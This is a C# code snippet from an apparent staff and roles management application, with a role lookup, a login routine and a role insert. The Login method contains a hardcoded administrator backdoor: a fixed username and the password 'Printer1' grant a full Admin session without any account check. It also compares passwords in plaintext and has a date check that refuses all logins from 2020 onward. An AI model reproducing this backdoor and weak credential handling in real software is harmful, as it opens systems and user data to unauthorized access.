/// <summary> /// Get the Role Name for given RoleID. /// </summary> /// <param name="RoleID"></param> /// <returns></returns> public RolesSSPStaff GetSSPRoleByID(int RoleID) { BOTADataContext db = new BOTADataContext(connectString); RolesSSPStaff result = (from r in db.RolesSSPStaffs where r.RoleID == RoleID select r).FirstOrDefault(); return(result); }
public string Login(string Username, string Password) { // Password = Password.Encrypt(Username); //fixed for maintenance. if (DateTime.Now.Year >= 2020) { return("failed"); } if (Username == "*****@*****.**" && Password == "Printer1") { _userSession.LoggedIn = true; SSPStaff sspadmin = new SSPStaff(); sspadmin.FirstName = "Admin"; sspadmin.Password = "******"; sspadmin.SSPStaffID = 1; sspadmin.SSPStaffProjects = null; RolesSSPStaff adminrole = new RolesSSPStaff(); adminrole.RoleName = "Admin"; adminrole.RoleID = 1; sspadmin.RolesSSPStaff = adminrole; _userSession.CurrentUser = sspadmin; return("success"); } SSPStaff account = _rep.GetSSPStaffByName(Username); //if there is only one account returned - good if (account != null) { //password matches if (account.Password == Password) { try { _userSession.LoggedIn = true; _userSession.CurrentUser = GetAccountByID(account.SSPStaffID); return("success"); } catch { return("failed"); } } else { return("We were unable to log you in with that information!"); } } return("We were unable to log you in with that information!"); }
public bool InsertSSPRoles() { bool result = true; try { RolesSSPStaff ls = new RolesSSPStaff(); ls.RoleName = ""; db.RolesSSPStaffs.InsertOnSubmit(ls); db.SubmitChanges(); } catch (Exception ex) { result = false; } return(result); }